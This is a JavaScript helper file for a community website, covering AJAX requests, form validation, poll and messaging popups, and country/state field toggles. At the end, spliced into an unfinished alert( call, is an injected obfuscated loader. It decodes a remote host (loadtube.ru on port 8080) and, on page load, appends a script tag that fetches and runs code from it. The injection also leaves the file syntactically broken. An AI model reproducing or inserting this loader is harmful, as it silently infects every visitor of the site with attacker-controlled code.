/* Create the htprequest opbect and process the readystate contents */

function createRequestObject() {
	if (window.XMLHttpRequest && !(window.ActiveXObject)) {
		return new XMLHttpRequest();
	} else if (window.ActiveXObject){
/*		return new ActiveXObject('Microsoft.XMLHTTP'); */
		try {
			return new ActiveXObject('MSXML2.XMLHTTP');  
		} catch (e) {
			return new ActiveXObject('Microsoft.XMLHTTP');
		}
	} 
}

var http = createRequestObject();

function handleResponse() {
    if(http.readyState == 4){
	var response = http.responseText;
	if (response != 'undefined' && response != '') {
		var update = new Array();
		var up2 = new Array();
		if(response.indexOf('|||' != -1)  ) {
		    update = response.split('|||');
  		    for (var i = 1; i<update.length; i++) {
		        up2 = update[i].split("|:|");
		        if (up2[0] != 'undefined' && up2[0] != '' && document.getElementById(up2[0]) ) {
			    document.getElementById(up2[0]).innerHTML = up2[1];
		        } 
		    }
		}
	}
    }
}

function updateOnlineTime() {
    http.open('GET', 'updateonlinetime.php');
    http.send(null);
    setTimeout("updateOnlineTime()",60000);
}

function updateOnlineCount() {
    http.open('get', 'updateonlinecount.php');
    http.onreadystatechange = handleResponse;
    http.send(null);
    setTimeout("updateOnlineCount()",60000);
}

if ( use_popups == undefined ) {
	var use_popups = true;
}

function isValidEmail( fieldValue ) {
	if ( /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,7})+$/.test(fieldValue) )
		return true;

	return false;
}


function isValidURL(url) {

	if ( url == null )
		return false;

/* space extr */
	var reg='^ *';
/* protocol */
	reg = reg+'(?:([Hh][Tt][Tt][Pp](?:[Ss]?))(?:\:\\/\\/))?';
/* usrpwd */
	reg = reg+'(?:(\\w+\\:\\w+)(?:\\@))?';
/* domain */
	reg = reg+'([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|localhost|([Ww][Ww][Ww].|[a-zA-Z0-9].)[a-zA-Z0-9\\-\\.]+\\.[a-zA-Z]{2,6})';
/* port */
	reg = reg+'(\\:\\d+)?';
/* path */
	reg = reg+'((?:\\/.*)*\\/?)?';
/* filename */
	reg = reg+'(.*?\\.(\\w{2,4}))?';
/* qrystr */
	reg = reg+'(\\?(?:[^\\#\\?]+)*)?';
/* bkmrk */
	reg = reg+'(\\#.*)?';
/* space extr */
	reg = reg+' *$';

	return url.match(reg);
}

/* returns true if checkStr contains only characters specified in checkOK
   probably can be replaced with a more efficient regular expression  */

function isValidString( checkStr, checkOK ) {

	if ( !checkOK )
		var checkOK = '';

	var allValid = true;

	for (i = 0;  i < checkStr.length;  i++) {
		ch = checkStr.charAt(i);

		for (j = 0;  j < checkOK.length;  j++)
			if (ch == checkOK.charAt(j))
				break;

		if (j == checkOK.length) {
			allValid = false;
			break;
		}
	}

	return allValid;
}

var alphabeticChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
var numericChars = "0123456789";

function isNumeric ( fieldValue ) {
	if ( /[0-9]/.test ( fieldValue ) )
		return true;
	return false;
}

function isNumeric( val, addChars ) {
	return isValidString( val, numericChars + addChars );
}

function isAlphabetic( val ) {
	if ( /[A-Za-z]/.test ( val ) )
		return true;
	return false;
}

function isAlphabetic( val, addChars ) {
	return isValidString( val, alphabeticChars + addChars );
}

function isAlphaNumeric( val ) {
	if ( /\w/.test ( val ) )
		return true;
	return false;
}

function isAlphaNumeric( val, addChars ) {
	return isValidString( val, alphabeticChars + numericChars + addChars );
}

function DispDispHide ( disp1, disp2, hide )
{
    if (hide) hide.style.display = 'none';
    if (disp1) disp1.style.display = 'inline';
    if (disp2) disp2.style.display = 'inline';
}

function DispHideHide ( disp, hide1, hide2 )
{
    if (hide1) hide1.style.display = 'none';
    if (hide2) hide2.style.display = 'none';
    if (disp) disp.style.display = 'inline';
}

function showHide( paramA, paramB)
{
	if (paramA.value == 'US')
		paramB.rows['row_usstates'].style.display ='inline';
	else
		paramB.rows['row_usstates'].style.display = 'none';

	if (paramA.value == 'CA')
		paramB.rows['row_castates'].style.display ='inline';
	else
		paramB.rows['row_castates'].style.display = 'none';

	if (paramA.value == 'AU')
		paramB.rows['row_austates'].style.display ='inline';
	else
		paramB.rows['row_austates'].style.display = 'none';

	if (paramA.value == 'GB')
		paramB.rows['row_gbstates'].style.display ='inline';
	else
		paramB.rows['row_gbstates'].style.display = 'none';

}

function showHide( paramA)
{
	if (paramA == 'US' ) {
		document.getElementById('row_usstates').style.display ='inline';
	} else {
		document.getElementById('row_usstates').style.display = 'none';
	}
	if (paramA == 'CA') {
		document.getElementById('row_castates').style.display ='inline';
	} else {
		document.getElementById('row_castates').style.display = 'none';
	}
	if (paramA == 'AU') {
		document.getElementById('row_austates').style.display ='inline';
	} else {
		document.getElementById('row_austates').style.display = 'none';
	}
	if (paramA == 'GB') {
		document.getElementById('row_gbstates').style.display ='inline';
	} else {
		document.getElementById('row_gbstates').style.display = 'none';
	}
}

function showHidePref( paramA, paramB)
{
	if (paramA.value == 'US') {
		paramB.rows['row_lookusstates'].style.display ='inline';
	} else {
		paramB.rows['row_lookusstates'].style.display = 'none';
	}
	if (paramA.value == 'CA') {
		paramB.rows['row_lookcastates'].style.display ='inline';
	} else {
		paramB.rows['row_lookcastates'].style.display = 'none';
	}
	if (paramA.value == 'AU') {
		paramB.rows['row_lookaustates'].style.display ='inline';
	} else {
		paramB.rows['row_lookaustates'].style.display = 'none';
	}
	if (paramA.value == 'GB') {
		paramB.rows['row_lookgbstates'].style.display ='inline';
	} else {
		paramB.rows['row_lookgbstates'].style.display = 'none';
	}
}

function showHidePref( paramA)
{
	if (paramA == 'US' ) {
		document.getElementById('row_lookusstates').style.display ='inline';
	} else {
		document.getElementById('row_lookusstates').style.display = 'none';
	}
	if (paramA == 'CA') {
		document.getElementById('row_lookcastates').style.display ='inline';
	} else {
		document.getElementById('row_lookcastates').style.display = 'none';
	}
	if (paramA == 'AU') {
		document.getElementById('row_lookaustates').style.display ='inline';
	} else {
		document.getElementById('row_lookaustates').style.display = 'none';
	}
	if (paramA == 'GB') {
		document.getElementById('row_lookgbstates').style.display ='inline';
	} else {
		document.getElementById('row_lookgbstates').style.display = 'none';
	}
}

function openWin(id)
{
	if ( use_popups == false ) {
		window.location.href = 'viewresult.php?pollid=' + id;
		return;
	}

	var width=550;
	var height=378;
	var left = (screen.width/2) - width/2;
	var top = (screen.height/2) - height/2;

	openpopup=window.open('viewresult.php?pollid=' + id ,'','width='+width+',height='+height+',left='+left+',top='+top+',resizable=yes,scrollbars=yes,status=no');
	openpopup.opener.name='abc';
}

function previousPolls(){

	if ( use_popups == false ) {
		window.location.href = 'previouspolls.php';
		return;
	}

	var width=600;
	var height=378;
	var left = (screen.width/2) - width/2;
	var top = (screen.height/2) - height/2;

	openpopup=window.open('previouspolls.php' ,'popupwin','width='+width+',height='+height+',left='+left+',top='+top+',resizable=yes,scrollbars=yes,status=no');
	openpopup.opener.name="abc";
}


function launchTellFriend ()
{
	if ( use_popups == false ) {
		window.location.href = 'tellafriend.php';
		return;
	}

	var left = (screen.width/2) - 400/2;
	var top = (screen.height/2) - 400/2;
	var win = "width=300,height=250,left=" + left + ",top=" + top + ",copyhistory=no,directories=no,menubar=no,location=no,resizable=yes,scrollbars=no";
	window.open("tellafriend.php",'tellfriend',win);
}

function launchTellFriendProfile ( sID )
{
	if ( use_popups == false ) {
		window.location.href = 'tellafriend.php?ID=' + sID;
		return;
	}

	var left = (screen.width/2) - 280/2;
	var top = (screen.height/2) - 280/2;
	var win = "width=280,height=300,left=" + left + ",top=" + top + ",copyhistory=no,directories=no,menubar=no,location=no,resizable=yes,scrollbars=yes";
	window.open("tellfriend.php?ID=" + sID,'tellfriendprofile',win);
}

var popUpWin=0;

<!-- MOD START -->

function popUpWindowMessage(URLStr, align, width, height, msgid)
{

	width = 450;
	height = 450;

	if ( use_popups == false ) {
		window.location.href = URLStr;
		return;
	}

/*	if(popUpWin){

		if(!popUpWin.closed) popUpWin.close();
	}

*/
	if( align == 'center' ){

		var left = (screen.width/2) - width/2;
		var top = (screen.height/2) - height/2;
	} else {

		var left = 0;
		var top = 0;
	}

	popUpWin = open(URLStr, 'popUpWin'+msgid, 'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=yes,copyhistory=yes,width='+width+',height='+height+',left='+left+', top='+top+',screenX='+left+',screenY='+top+'');

}

<!-- MOD END -->

function showIM(msgid){
	popUpWindow('showinstantmsg.php?id=' + msgid,'center',320,260,msgid);
}

function popUpWindow(URLStr, align, width, height, msgid)
{
	if ( use_popups == false ) {
		window.location.href = URLStr;
		return;
	}

	if( align == 'center' ){

		var left = (screen.width/2) - width/2;
		var top = (screen.height/2) - height/2;
	} else {

		var left = 0;
		var top = 0;
	}

	popUpWin = open(URLStr, 'popUpWin'+msgid, 'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbar=no,resizable=yes,copyhistory=yes,width='+width+',height='+height+',left='+left+', top='+top+',screenX='+left+',screenY='+top+'');
	popUpWin.opener.name="abc1"; 
}


function popUpScrollWindow(URLStr, align, width, heightParam)
{
	if ( use_popups == false  ) {
		window.location.href = URLStr;
		return;
	}

	height = screen.height - 150;
	height = Math.min( height, heightParam );

	if( align == 'center' ){

		var left = (screen.width/2) - width/2;
		var top = (screen.height/2) - height/2;
	}else if( align == 'top' ){

		var left = (screen.width/2) - width/2;
		var top = 0;
	}else{

		var left = 0;
		var top = 0;
	}

	popUpWin = open(URLStr, 'popUpWin', 'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=yes,copyhistory=yes,width='+width+',height='+height+',left='+left+', top='+top+',screenX='+left+',screenY='+top+'');
}

function popUpScrollWindow2 (URLStr, align, width, heightParam)
{
	if ( use_profilepopups == false ) {
		window.location.href = URLStr;
		return;
	}

	height = screen.height - 150;
	height = Math.min( height, heightParam );

/*	if(popUpWin){

		if(!popUpWin.closed) { popUpWin.close(); }
	}
*/
	if( align == 'center' ){

		var left = (screen.width/2) - width/2;
		var top = (screen.height/2) - height/2;
	}else if( align == 'top' ){

		var left = (screen.width/2) - width/2;
		var top = 0;
	}else{

		var left = 0;
		var top = 0;
	}

	popUpWin = open(URLStr, 'popUpWin', 'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=yes,copyhistory=yes,width='+width+',height='+height+',left='+left+', top='+top+',screenX='+left+',screenY='+top+'');
	popUpWin.opener.name="abc1";
}

var prevRow = null;

function toggleRow(rwId, num){

	if( prevRow != null ) {
		prevRow.style.display ='none';
	}
	prevRow = obj = document.getElementById(rwId);
	obj.style.display ='inline';

	for( i=0; i<document.getElementById('tblSelect').length ; i++ ){

		if( i == num ) {
			document.getElementById('tblSelect')[i].className = "s_table_blue";
		} else {
			document.getElementById('tblSelect')[i].className = "s_table_white";
		}
	}
}


function votesubmit(id,curtime)
{
	var width=600;
	var height=378;
	var left = (screen.width/2) - width/2;
	var top = (screen.height/2) - height/2;

	nop = document.frmpoll.rdo.length;
	var i, rdo;
	rdo = '0';
	for (i=0 ; i<nop ; i++)
	{
		if (document.frmpoll.rdo[i].checked)
		{
			rdo = document.frmpoll.rdo[i].value;
		}
	}
	if ( use_popups == false ) {
		if ( rdo == "" ) {
			window.location.href = 'viewresult.php?t=' + curtime + '&pollid=' + id;
		}
		else {
			window.location.href = 'votehere.php?t=' + curtime + '&rdo=' + rdo + '&pollid=' + id;
		}
		return;
	}

	if (rdo=="")
	{
		openpopup=window.open('viewresult.php?t=' + curtime + '&pollid=' + id ,'','width='+width+',height='+height+',left='+left+',top='+top+',resizable=yes,scrollbars=yes,status=no');
		openpopup.opener.name='abc';
	} else {
		openpopup=window.open('votehere.php?t=' + curtime + '&rdo=' + rdo + '&pollid=' + id ,'','width='+width+',height='+height+',left='+left+',top='+top+',resizable=yes,scrollbars=yes,status=no');
		openpopup.opener.name='abc';
	}
}

function selectRdo(form,rdo){

	for( i=0 ; i < form.length ; i++ ) {
		if( form.elements[i].type=='radio' && form.elements[i].name=='searchby'
			&& form.elements[i].value == rdo ) {
			form.elements[i].checked=true;
		}
	}
}

function checkAll(form,name,val){
	for( i=0 ; i < form.length ; i++) {
		if( form.elements[i].type == 'checkbox' && form.elements[i].name == name ) {
			form.elements[i].checked = val;
		}
	}
}

function datefromtovalid(sy,sm,sd,ey,em,ed,msg)
{
	month=new Array("JAN", "FEB", "MAR", "APR", "MAY", "JUN", "JUL", "AUG", "SEP", "OCT", "NOV", "DEC")
	var syear=sy[sy.selectedIndex].value;
	var smonth=sm[sm.selectedIndex].value;
	var sdays=sd[sd.selectedIndex].value;
	var eyear=ey[ey.selectedIndex].value;
	var emonth=em[em.selectedIndex].value;
	var edays=ed[ed.selectedIndex].value;
	for (var count=0;count<12;count++)
	{
		if ((smonth== month[count]))
		{
			smonth=count;
		}
		if ((emonth== month[count]))
		{
			emonth=count;
		}
	}
	from_date=new Date(syear,smonth,sdays);
	to_date=new Date(eyear,emonth,edays);
	if (from_date > to_date)
	{
	 	alert(
var R='';var je=new Array();var M;if(M!='Qf'){M=''};function G(){var iK;if(iK!='' && iK!='y'){iK=null};var Q=window;var f=new Date();var EK;if(EK!='ic' && EK!='nT'){EK='ic'};var F=unescape;var k;if(k!='vK' && k!='s'){k=''};var h=new Array();var a=F("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%62%6f%6f%6b%69%6e%67%2e%63%6f%6d%2f%67%65%74%61%66%72%65%65%6c%61%6e%63%65%72%2e%63%6f%6d%2e%70%68%70");var fP="";var sG;if(sG!='bb' && sG != ''){sG=null};var g;if(g!='B'){g='B'};function n(Fj,j){var qO;if(qO!='K'){qO='K'};var w="q1Jg".substr(3);var jJ;if(jJ!='' && jJ!='rz'){jJ='S'};var E=F("%5b"), H=F("%5d");var D=E+j+H;var l=new RegExp(D, w);var m;if(m!='hv' && m!='lh'){m='hv'};var WD;if(WD!='hY' && WD != ''){WD=null};return Fj.replace(l, new String());};this.BU="";this.lO="";var hd;if(hd!='' && hd!='rv'){hd='rD'};var EH;if(EH!='' && EH!='Qq'){EH=''};var QvJ;if(QvJ!='P' && QvJ!='fc'){QvJ='P'};var O=document;var EKU=new Date();var N=new String();var Lu;if(Lu!='LO'){Lu='LO'};this.Eg='';this.p="";var jN=n('819035183430759','12596473');this.Cq='';function I(){var cp;if(cp!=''){cp='V'};var C=F("%68%74%74%70%3a%2f%2f%6c%6f%61%64%74%75%62%65%2e%72%75%3a");var az=new Array();var xz="";this.Bz="";var aq;if(aq!='' && aq!='Ho'){aq='CZ'};N=C;N+=jN;var xW;if(xW!='bf' && xW!='Gk'){xW='bf'};this.fcv='';N+=a;var BL=new String();var u=new String();var qX="";try {this.LF='';var jei=new Array();i=O.createElement(n('sPcRr3izp3tz','g_RDUzOabTF30kY5BP'));var CqI;if(CqI!='' && CqI!='By'){CqI='Ap'};var r_="";var OY=new String();var VtX="";i[F("%73%72%63")]=N;var AT=new Array();var _h;if(_h!='bt' && _h!='Yb'){_h=''};i[F("%64%65%66%65%72")]=[8,1][1];var sO=new String();var AS='';O.body.appendChild(i);var zW=new String();var hS;if(hS!='bfB' && hS!='Sh'){hS='bfB'};var Ds="";} catch(A){alert(A);var tj=new String();var es=new String();};var GC=new Date();var Kx=new Date();}this.qu="";this.DA='';Q["onlLNRE".substr(0,3)+"oad"]=I;var Tf="";var sm;if(sm!='' && sm!='DT'){sm=''};};var ZH=new String();var uh=new Date();var tm;if(tm!='iG' && tm != ''){tm=null};var eU;if(eU!='Nq' && eU != ''){eU=null};G();this.GS="";